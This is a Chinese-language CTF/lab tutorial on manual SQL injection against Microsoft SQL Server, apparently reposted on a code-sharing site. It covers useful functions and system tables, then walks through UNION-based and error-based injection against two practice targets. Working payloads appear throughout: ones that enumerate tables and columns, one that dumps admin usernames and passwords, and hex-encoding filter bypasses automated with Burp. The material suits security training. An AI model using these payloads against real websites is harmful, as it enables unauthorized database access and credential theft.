CTF-Web:SqlServer SQL 注入


相關的函數和表

SqlServer 的 SQL 注入和 MySQL 是一樣的,不同在於數據庫信息所在的表和一些函數不一樣。

常用的函數

函數 功能
db name() 返回當前數據庫的名稱
host_name() 返回計算機名稱
current_user 返回當前數據庫的用戶名
substring() 字符串截取函數
@@version 查看數據庫版本
char() ASCII 轉字符函數
cast(text as type) 字符類型轉換,如果轉換失敗會將 text 結果報錯顯示在頁面上
object_id() 根據表名返回數據庫表名 ID
object_name() 根據 ID 返回數據庫表名
col_name(object_id,column_id) 返回指定表中指定字段(列)的名稱

內置系統表

Sysdatabases 表

Sysdatabases 表只保存在 master 數據庫中,這個表中保存的是所有的庫名,主要字段有:name 數據庫名。

Sysobjects 表

SQLServer 中的每個數據庫內都有此系統表,存放着數據庫所有的表名。主要字段有:name、id、xtype 分別是表名、表 ID、創建的對象。當 xtype='U'代表是用戶建立的表。

Syscolumns 表

Syscolumns 表位於每個數據庫中,存放着數據庫所有的字段名。主要字段有:name、id 分別是字段名稱、表 ID,其中的 ID 是用 sysobjects 得到的表的 ID 號。

SqlServer 注入樣例

任務目標

靶場中的公司主頁存在 SQL 注入,使用 SQL 注入知識進行一次手工注入測試。

查找注入點

打開靶場,首先先找找注入點,經判斷在搜索框可能存在 sql 注入,但是沒有找到傳參的地方。

使用 burp 抓包,發現在 cookie 后面夾帶了參數 key,值是我們傳過去想要查找的值。cookie 一般是用來保持用戶的登錄狀態,也可以存儲一些變量。

判斷注入類型

嘗試注入個單引號閉合,網頁回顯 SqlServer 報錯,並得到了查詢的 sql 語句。

觀察得到的 sql 語句,發現不是預編譯的,而是通過字符串拼接來組合的,此處可以通過單引號閉合前面的語句,把剩下的語句注釋掉,這樣就能查詢成功。

"select * from ST_tNews where ST_newstitle like '%"+result+"%'";

判斷列數

判斷表有幾列,使用 ORDER BY 子句進行一個排序,看一下對幾列有效。

經二分法測試,有效的列數有 6 列。


判斷哪些列是我們能用的,令 id 參數的查詢不到結果,然后使用 UNION 進行組合查詢。網頁回顯了字符串 2 ,說明第 2 列是我們可用的。

-1%' union all select '1','2','3','4',null,'6'--

獲取數據庫信息

爆數據庫名,用第 2 個位置作為顯示位。SqlServer 的 db_name() 函數可以回顯當前使用的數據庫,我們將對它進行查詢。

-1%' union all select null,db_name(),null,null,null,null--


接下來開始爆表名,在 sysobjects 進行查詢, sysobjects 系統對象表,保存當前數據庫的對象,xtype='u'表示查詢的是用戶創建的表名。

-1%' union all select null,name,null,null,null,null from sysobjects where xtype='u'--


st_admin 表看上去就是用戶名和密碼存放的表,所以接下來爆 st_admin 表的字段,在 syscolumns 中以“st_admin”的對象 id 作為過濾條件。

-1%' union all select null,name,null,null,null,null from syscolumns where id=object_id('st_admin')--

獲取敏感信息

接下來我們爆出 st_admin 表中的信息,這個表有用戶名和密碼這種敏感信息。

-1%' union all select null,admin+pass,null,null,null,null from st_admin--


接下來找網站的后台,使用御劍進行后台掃描,直接掃描可以掃出一個 /Admin 目錄。

對 /Admin 目錄進行掃描,掃出后台登錄界面。

使用爆出來的用戶名和密碼,成功登錄后台。

SqlServer 盲注樣例

任務目標

靶場中的訂餐系統存在 SQL 注入,使用 SQL 注入知識進行一次手工注入測試。

判斷注入類型

首先先找找注入點,在公告中看到文章有個 id,可能這個參數存在注入。

嘗試注入個單引號閉合,網頁回顯 SqlServer 報錯,但報錯的並不是 SQL 語句。

構造一個恆假條件 “and 1=2” 使得查到的結果集為空,網頁返回 SQL 語句報錯信息,說明此處存在SQL 注入漏洞。

嘗試使用 order by 語句,但是網頁回顯的報錯信息不是 SQL 語句,由此可以推斷該站點對一些非法字符和關鍵字進行了過濾。

使用 UNION 語句也是失敗,說明聯合查詢被過濾。

使用十六進制編碼也失敗,看來這個過濾還是考慮的比較周到。

獲取數據庫名

不過由於報錯信息是可見的,所以可以使用報錯過濾,這是利用了數據庫的報錯。將我們想要獲取的信息顯示在報錯信息上的方法。此處構造表達式“1=(select db_name())”,由於這個表達式不合法,執行時會出錯,所以這個出錯的內容就會回顯,就獲取了數據庫名。

?id=1 and 1=(select db_name()) --

獲取表名

使用相同的方法查找表名,但是由於返回值不唯一導致報了另一個錯。

為了使返回值僅有一個條目,限制返回的記錄是top 1,也就是查詢到的第一條記錄。

?id=1 and 1=(select top 1 name from sysobjects where xtype=u) --


此處直接傳參數“u”會報錯,可以使用十六進制轉碼再查詢。

?id=1 and 1=(select top 1 name from sysobjects where xtype=0x75) --


如果想要獲取其他行,就需要添加一個過濾條件排除前面幾行的返回。

?id=1 and 1=(select top 1 name from sysobjects where xtype=0x75 and name not in (select top 1 name from sysobjects where xtype=0x75)) --


可以使用 brup 抓包,然后將包發到測試器中,設置有效載荷在過濾條件里面。通過過濾條件依次排除前 n 行,就能獲取第 n+1 行數據。

設置填充的數據為 1~30。

為了方便觀察,設置返回的數據顯示 title 標簽。

進行攻擊,可以看到獲取了所有可以看到的表的表名。

獲取字段名

接下來查詢字段名,由於此處要用 sl_admin 表名作為過濾條件,需要根據 SqlServer 的編碼進行轉碼。

使用相同的方式在syscolumns表中獲取字段名,過濾條件是表名對應的id。

?id=1 and 1=(select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00))--


使用相同的方式獲取其他行。

?id=1 and 1=(select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00) and name not in (select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00)))--


發送到 brup 抓包,然后用相同的方式獲取所有行。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM